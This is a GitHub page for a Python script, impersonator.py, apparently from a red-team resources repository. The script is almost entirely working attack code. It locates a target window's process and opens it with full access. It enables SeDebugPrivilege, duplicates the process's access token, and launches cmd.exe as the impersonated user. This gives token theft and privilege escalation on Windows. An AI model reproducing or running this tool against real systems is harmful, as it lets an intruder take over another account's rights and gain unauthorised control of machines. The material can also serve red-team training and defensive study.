forked from RtZ-Ufa/RedTeam-Resources
-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathpythonfile.py
More file actions
351 lines (298 loc) · 10.9 KB
/
Copy pathpythonfile.py
File metadata and controls
351 lines (298 loc) · 10.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
# impersonator.py
import ctypes
from ctypes.wintypes import DWORD,BOOL,HANDLE,LPWSTR,WORD,LPBYTE
# Handles
u_handle = ctypes.WinDLL("user32.dll")
k_handle = ctypes.WinDLL("kernel32.dll")
a_handle = ctypes.WinDLL("Advapi32.dll")
# Access Rights (Full Access Right Shortcut)
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
# Privilege Enabled Mask
SE_PRIVILEGE_ENABLED = 0x00000002
SE_PRIVILEGE_DISABLED = 0x00000000
# Token Access Rights
STANDARD_RIGHTS_REQUIRED = 0x000F0000
STANDARD_RIGHTS_READ = 0x00020000
TOKEN_ASSIGN_PRIMARY = 0x0001
TOKEN_DUPLICATE = 0x0002
TOKEN_IMPERSONATION = 0x0004
TOKEN_QUERY = 0x0008
TOKEN_QUERY_SOURCE = 0x0010
TOKEN_ADJUST_PRIVILEGES = 0x0020
TOKEN_ADJUST_GROUPS = 0x0040
TOKEN_ADJUST_DEFAULT = 0x0080
TOKEN_ADJUST_SESSIONID = 0x0100
TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY)
TOKEN_ALL_ACCESS = ( STANDARD_RIGHTS_REQUIRED |
TOKEN_ASSIGN_PRIMARY |
TOKEN_DUPLICATE |
TOKEN_IMPERSONATION |
TOKEN_QUERY |
TOKEN_QUERY_SOURCE |
TOKEN_ADJUST_PRIVILEGES |
TOKEN_ADJUST_GROUPS |
TOKEN_ADJUST_DEFAULT |
TOKEN_ADJUST_SESSIONID)
# LUID Structure
class LUID(ctypes.Structure):
_fields_ = [
("LowPart", DWORD),
("HighPart", DWORD),
]
# LUID and ATTRIBUTES
class LUID_AND_ATTRIBUTES(ctypes.Structure):
_fields_ = [
("Luid", LUID),
("Attributes", DWORD),
]
# Privilege Set
class PRIVILEGE_SET(ctypes.Structure):
_fields_ = [
("PrivilegeCount", DWORD),
("Control", DWORD),
("Privileges", LUID_AND_ATTRIBUTES),
]
# Token Set
class TOKEN_PRIVILEGES(ctypes.Structure):
_fields_ = [
("PrivilegeCount", DWORD),
("Privileges", LUID_AND_ATTRIBUTES),
]
# Security Attribute Set
class SECURITY_ATTRIBUTES(ctypes.Structure):
_fields_ = [
("nLength", DWORD),
("lpSecurityDescriptor", HANDLE),
("nInheritHandle", BOOL),
]
# Structure for Star
class STARTUPINFO(ctypes.Structure):
_fields_ = [
("cb", DWORD),
("lpReserved", LPWSTR),
("lpDesktop", LPWSTR),
("lpTitle", LPWSTR),
("dwX", DWORD),
("dwY", DWORD),
("dwXSize", DWORD),
("dwYSize", DWORD),
("dwXCountChars", DWORD),
("dwYCountChars", DWORD),
("dwFillAttribute", DWORD),
("dwFlags", DWORD),
("wShowWindow", WORD),
("cbReserved2", WORD),
("lpReserved2", LPBYTE),
("hStdInput", HANDLE),
("hStdOutput", HANDLE),
("hStdError", HANDLE),
]
# Structure for Process Info
class PROCESS_INFORMATION(ctypes.Structure):
_fields_ = [
("hProcess", HANDLE),
("hThread", HANDLE),
("dwProcessId", DWORD),
("dwThreadId", DWORD),
]
# [FUNCTION] Enable Privileges
def enablePrivilege(priv, handle):
# 1) Use the LookupPrivilegeValueW API Call to get the LUID based on the String Privilege Name
# 2) Setup a PRIVILEGE_SET for the PrivilegeCheck Call to be used later - We need the LUID to be used
# BOOL PrivilegeCheck(
# HANDLE ClientToken,
# PPRIVILEGE_SET RequiredPrivileges,
# LPBOOL pfResult
# );
requiredPrivileges = PRIVILEGE_SET()
requiredPrivileges.PrivilegeCount = 1 # We are only looking at 1 privilege at a time
requiredPrivileges.Privileges = LUID_AND_ATTRIBUTES() # Setup a new LUID_AND_ATTRIBUTES
requiredPrivileges.Privileges.Luid = LUID() # Setup a new LUID inside of the LUID_AND_ATTRIBUTES structure
# BOOL LookupPrivilegeValueW(
# LPCWSTR lpSystemName,
# LPCWSTR lpName,
# PLUID lpLuid
# );
lpSystemName = None
lpName = priv
# Issue the call to configure the LUID with the Systems Value of that privilege
response = a_handle.LookupPrivilegeValueW(lpSystemName, lpName, ctypes.byref(requiredPrivileges.Privileges.Luid))
# Error Handling
if response > 0:
print("[INFO] Privilege Adjustment Success: {0}".format(priv))
else:
print("[ERROR] Privilege Adjustment Failed: {0}. [-] Error Code: {a}".format(priv, k_handle.GetLastError()))
return 1
# Check if the correct privilege is enabled
pfResult = ctypes.c_long()
response = a_handle.PrivilegeCheck(TokenHandle, ctypes.byref(requiredPrivileges), ctypes.byref(pfResult))
# Error Handling
if response > 0:
print("[INFO] PrivilegeCheck Success!")
else:
print("[ERROR] PrivilegeCheck Failed! [-] Error Code: {0}".format(k_handle.GetLastError()))
return 1
if pfResult:
print("[INFO] Privilege Enabled: {0}".format(priv))
return 0
else:
print("[INFO] Privilege Disabled: {0}".format(priv))
# Enabling the privilege if disabled
print("[INFO] Enabling the Privilege...")
requiredPrivileges.Privileges.Attributes = SE_PRIVILEGE_ENABLED
# BOOL AdjustTokenPrivileges(
# HANDLE TokenHandle,
# BOOL DisableAllPrivileges,
# PTOKEN_PRIVILEGES NewState,
# DWORD BufferLength,
# PTOKEN_PRIVILEGES PreviousState,
# PDWORD ReturnLength
# );
DisableAllPrivileges = False
NewState = TOKEN_PRIVILEGES()
BufferLength = ctypes.sizeof(NewState)
PreviousState = ctypes.c_void_p()
ReturnLength = ctypes.c_void_p()
# Configure Token Privilege
NewState.PrivilegeCount = 1;
NewState.Privileges = requiredPrivileges.Privileges
response = a_handle.AdjustTokenPrivileges(
TokenHandle,
DisableAllPrivileges,
ctypes.byref(NewState),
BufferLength,
ctypes.byref(PreviousState),
ctypes.byref(ReturnLength))
# Error Handling
if response > 0:
print("[INFO] AdjustTokenPrivileges Enabled: {0}".format(priv))
else:
print("[ERROR] AdjustTokenPrivileges Disabled: {0}. [-] Error Code: {0}".format(priv, k_handle.GetLastError()))
return 1
return 0
# [FUNCTION] Open Process
def openProcessByPID(pid):
# HANDLE OpenProcess(
# DWORD dwDesiredAccess,
# BOOL bInheritHandle,
# DWAORD dwProcessId
# );
dwDesiredAccess = PROCESS_ALL_ACCESS
bInheritHandle = False
dwProcessId = pid
hProcess = k_handle.OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId)
# Error Handling
if hProcess <= 0:
print("[Error] No Privilieged Handle Obtained... [-] Error Code: {0}".format(k_handle.GetLastError()))
return 1
else:
print("[INFO] OpenProcess Handle Obtained:", hProcess)
return hProcess
# [FUNCTION] Open a Process Token
def openProcToken(pHandle):
# BOOL OpenProcessToken(
# HANDLE ProcessHandle,
# DWORD DesiredAccess,
# PHANDLE TokenHandle
# );
ProcessHandle = pHandle
DesiredAccess = TOKEN_ALL_ACCESS
TokenHandle = ctypes.c_void_p()
response = k_handle.OpenProcessToken(ProcessHandle, DesiredAccess, ctypes.byref(TokenHandle))
# Error Handling
if response > 0:
print("[INFO] OpenProcess Token Obtained: {0}".format(TokenHandle))
return TokenHandle
else:
print("[ERROR] No Privilieged Token Obtained... [-] Error Code: {0}".format(k_handle.GetLastError()))
return 1
# ============================================================================================================
# Grab the Windows Name from User32
lpClassName = None
lpWindowName = ctypes.c_char_p((input("[INPUT] Enter Window Name to Hook Into: ").encode('utf-8')))
# Grab a Handle to the Process
hWnd = u_handle.FindWindowA(lpClassName, lpWindowName)
# Error Handling
if hWnd == 0:
print("[ERROR] No Handle Obtained... [-] Error Code: {0}".format(k_handle.GetLastError()))
exit(1)
else:
print("[INFO] Handle Obtained: {0}".format(hWnd))
# Get the PID of the Process at the Handle
# DWORD GetWindowThreadProcessId(
# HWND hWnd,
# LPDWORD lpdwProcessId
# );
lpdwProcessId = ctypes.c_ulong()
# Use byref to pass a pointer to the value as needed by the API Call
response = u_handle.GetWindowThreadProcessId(hWnd, ctypes.byref(lpdwProcessId))
# Error Handling
if hWnd == 0:
print("[Error] No PID Obtained... [-] Error Code: {0}".format(k_handle.GetLastError()))
else:
pid = str(lpdwProcessId)
print("[INFO] PID Obtained:", pid.strip("c_ulong()"))
# Open the Process and Grab a Table to its Token
print("[INFO] Getting TokenHandle...")
TokenHandle = openProcToken(openProcessByPID(lpdwProcessId))
# Get Handle of Current Process
print("[INFO] Getting CurrentProcessHandle...")
currentProcessHandle = openProcToken(openProcessByPID(k_handle.GetCurrentProcessId()))
# Attempt to Enable SeDebugPrivilege on Current Process to be able to use token duplication
print("[INFO] Enabling SEDebugPrivilege on Current Process...")
response = enablePrivilege("SEDebugPrivilege", currentProcessHandle)
if response != 0:
print("[ERROR] Failed to Enable Privileges!")
exit(1)
# Duplicate Token On Hooked Process
hExistingToken = ctypes.c_void_p()
dwDesiredAccess = TOKEN_ALL_ACCESS
lpTokenAttributes = SECURITY_ATTRIBUTES()
ImpersonationLevel = 2 # Set to SecurityImpersonation Enum
TokenType = 1 # Set to Token_Type enum as Primary
# Configure the SECURITY_ATTRIBUTES Structure
lpTokenAttributes.bInheritHandle = False
lpTokenAttributes.lpSecurityDescriptor = ctypes.c_void_p()
lpTokenAttributes.nLength = ctypes.sizeof(lpTokenAttributes)
print("[INFO] Duplicating Token on Hooked Process...")
# Issue the Token Duplication Call
response = a_handle.DuplicateTokenEx(
TokenHandle,
dwDesiredAccess,
ctypes.byref(lpTokenAttributes),
ImpersonationLevel,
TokenType,
ctypes.byref(hExistingToken))
if response == 0:
print("[ERROR] Duplicating Token Failed [-] Error Code: {0}".format(k_handle.GetLastError()))
exit(1)
# Spawn a Process as the Impersonated User
# CreateProcessWithTokenW
hToken = hExistingToken
dwLogonFlags = 0x00000001 # Use the Flag LOGON_WITH_PROFILE
lpApplicationName = "C:\\Windows\\System32\\cmd.exe"
lpCommandLine = None
dwCreationFlags = 0x00000010 # Use the Flag CREATE_NEW_CONSOLE
lpEnvironment = ctypes.c_void_p()
lpCurrentDirectory = None
lpStartupInfo = STARTUPINFO()
lpProcessInformation = PROCESS_INFORMATION()
# StartupInfo (*If I don't sepcify the value, it will return as NULL)
lpStartupInfo.wShowWindow = 0x1 # Showing up Windows
lpStartupInfo.dwFlags = 0x1 # Use to flag to look at wShowWindow
lpStartupInfo.cb = ctypes.sizeof(lpStartupInfo)
response = a_handle.CreateProcessWithTokenW(
hToken,
dwLogonFlags,
lpApplicationName,
lpCommandLine,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
ctypes.byref(lpStartupInfo), # Pointer to STARTUPINFOA
ctypes.byref(lpProcessInformation)) # Pointer to PROCESS_INFORMATION
if response == 0:
print("[ERROR] Failed to Create a Process with Duplicated Token [-] Error Code: {0}".format(k_handle.GetLastError()))
exit(1)
else:
print("[INFO] Created Impersonated Process!")